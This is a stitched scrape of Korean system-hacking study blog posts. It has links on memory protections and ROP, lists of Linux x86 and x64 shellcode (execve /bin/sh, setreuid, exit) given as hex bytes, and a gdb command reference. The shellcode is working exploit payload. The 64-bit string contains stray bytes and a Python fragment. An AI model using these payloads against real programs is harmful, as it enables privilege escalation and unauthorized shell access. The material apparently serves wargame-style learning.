'시스템 > 시스템 해킹' 카테고리의 다른 글

tip 정리  (0) 2016.11.18
bind shellcode 소스코드  (0) 2016.10.16
버퍼오버플로우 문서  (0) 2016.10.13
ROP exploit  (0) 2016.09.29
기본 쉘코드  (0) 2016.07.14

메모리 보호기법 : http://teamcrak.tistory.com/330

보호기법 우회 : http://teamcrak.tistory.com/332

SEH overwrite http://teamcrak.tistory.com/348

ROP : http://shayete.tistory.com/entry/6-Return-Oriented-Programming

'시스템 > 시스템 해킹' 카테고리의 다른 글

tip 정리  (0) 2016.11.18
bind shellcode 소스코드  (0) 2016.10.16
버퍼오버플로우 문서  (0) 2016.10.13
환경변수에 쉘코드 넣기(에그쉘 정리)  (0) 2016.10.12
기본 쉘코드  (0) 2016.07.14

// 16 Bytesetreuid( geteuid() , geteuid() );

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80


// 25 Byte, shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


// 41 Byte

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


// 48 Byte, without \x2f

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


//64bit shellcode

\xA0\x20\x60\x00\x00\x00\x00\x00"+b"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05


출처  : http://j4ckp4rd.tistory.com/44

'시스템 > 리눅스 기본' 카테고리의 다른 글

라이브러리 참조순서  (0) 2016.10.15
알아두면 좋은 명령어 모음  (0) 2016.10.13
gdb layout  (0) 2016.10.13
find 명령어 정리  (0) 2016.09.30
gdb사용법/ 명령어  (0) 2016.06.24

http://intenila.tistory.com/5

x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25
미포함 : setreuid(), exit()

0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 31
미포함 : setreuid()

0x03. setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드
 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 47

0x04. exit(0) 코드
\x31\xc0\xb0\x01\xcd\x80

bytes : 6

0x05. setreuid(geteuid(), geteuid())  코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

bytes : 16 


'시스템 > 시스템 해킹' 카테고리의 다른 글

tip 정리  (0) 2016.11.18
bind shellcode 소스코드  (0) 2016.10.16
버퍼오버플로우 문서  (0) 2016.10.13
환경변수에 쉘코드 넣기(에그쉘 정리)  (0) 2016.10.12
ROP exploit  (0) 2016.09.29

1. 사용

컴파일 할때 -g 옵션을 사용해서 컴파일 gcc -g -o (프로그램명) (소스파일명)

실행: gdb (프로그램명)


2. 종료

q, quit, ctrl+d


3. 소스보기 (list / l)

10줄씩 출력한다.   (*출력단위 변경 ; set listsize (줄 단위) )

list : 메인함수 기준 출력

list (숫자) : 숫자를 기준으로 10줄 출력

list function : 함수 소스 출력

list - : 현재 출력된 리스트의 이전 행을 출력


4. 실행

(1) run /r : 이상이 발생했을때 오류가 생긴 부분도 출력해줌 

(2) bt : back trace 의 약어로 오류가 생긴부분에서 그 전 과정을 보여준다. 

(3) kill / k : 프로그램 종료

(4) step / s: 현재 행 실행. 함수안으로 들어갈 수 있음 (s 3 : step 3번한 결과)

(5) next / n : 현재 행 실행. 함수도 바로 실행(n 4: next 4번 결과)

* s/n다음에 i를 붙이면 어셈단위 실행 (si, ni)

(6) continue / c : 다음 bp까지 실행

(7) finish : 현재함수 수행 후 빠져나감

(8) return : 현재 함수 수행하지 않고 빠져나간다 (return (값) : 리턴값 지정 가능)



5. bp(break point 설정)

break / b

(1) break (행 번호) : 그 행에 bp 설정

(2) break (함수 이름) : 함수의 시작 부분에 bp 설정

(3) break (파일이름):(함수이름) : ~파일의 ~함수의 시작부분에 bp설정

(4) break +/- (숫자) : 현재에서 숫자만큼 더하거나 뺀부분에 bp설정

(5) break *0x111111: 특정 주소에 설정

(6) break ... if (조건) : 조건을 만족할때 bp설정

(7) tb : 1회용 bp

(8) info break : 현재 bp 정보

(9) cl : bp 지우기        delete (n) : 고유번호 n번의 bp지우기

(10) d : 모든 bp지우기


(11) watch (변수) : 특정 변수에 watch 를 설정하면 이 변수가 바뀔때마다 break 가 걸리면서 값을 출력


6. 변수 정보

info locals : 현재 상태의 지역변수와 값을 보여줌

info variables : 전역변수 리스트

info registers : 레지스터 전체 리스트

p/print (변수) : 변수 값
 p (함수명)  : 함수의 주소 

중복된 변수가 있는 경우 ( 지역변수 우선 ) -> p '(파일명)'::(변수명) : -파일에 있는     전역변수 를 출력

포인터 변수의 경우 위의 방법으로 하면 주소값만 출력.
포인터 변수의 값 또는 포인터 구조체 등의 값을 보기 위해서는 * 를 붙여준다.
   p  *(변수)
    p $(레지스터명)
   print (함수명)::(변수명) : 특정 함수 내 변수

p명령어는 기본적으로 10진수로 출력한다.

다른진수로 출력하는 법 

    p/t (변수)    2진수
    p/o (변수)    8진수
    p/d (변수)    10진수
    p/u (변수)    부호없는 10진수
    p/x (변수)    16진수
    p/c (변수)    최초 1바이트 값을 문자형으로
    p/f (변수)    부동소수점값
   
p는 값을 설정하는 것도 가능

    p (변수) = 값 


7. 변수 디스플레이

display (변수) : 진행중 계속 변수 출력

undisplay (변수) : 디스플레이 없애기 

disable/enable display (변수) : 일시정지/활성


8. 스택

frame / f

info f : 현재 스택프레임 정보

frame (프레임 번호) : ~번 프레임으로 이동

up : 상위 프레임 이동

down : 하위 프레임 이동

info args : 현재 스택 프레임 함수의 인자 출력

info locals : 현재 스택프레임 함수의 지역변수


9. 메모리 상태

x/(범위) (출력형식) (범위 단위) : 메모리 특정범위의 값 확인 (기본 단위 : 4 byte)


출력방식

-t : 2진수

-o : 8진수

-d / u : 부호없는 10진수

-x : 16진수

-c : 최초 1바이트 문자로 출력

-f : 부동소수점

-s : 문자열

-i : 어셈형식


범위 단위

-b : 1byte

-h : 2byte

-w : 4 byte

-g : 8byte


예시 : x/10tb main : main 함수로 부터 10 byte 를 2진수로 출력

   x/10xg 0x1293834 : 주소로 부터 80byte를 8 byte 단위로 15진수로 출력


10. 디스 어셈블링

disas (함수이름)

disas (시작주소) (끝주소) : 어셈블리 코드를 보여줌


11. 함수 호출

call (함수이름)((인자1),(인자2)) : 특정함수 인자값으로 호출


12. 주소로 분기

jump *0x123532 : ~주소로 분기

jump (행번호) : ~행으로 분기

jump (함수) : -함수로 분기


13. 시그널


14. info 명령


15. 환경설정





'시스템 > 리눅스 기본' 카테고리의 다른 글

라이브러리 참조순서  (0) 2016.10.15
알아두면 좋은 명령어 모음  (0) 2016.10.13
gdb layout  (0) 2016.10.13
find 명령어 정리  (0) 2016.09.30
shellcode  (0) 2016.09.20

+ Recent posts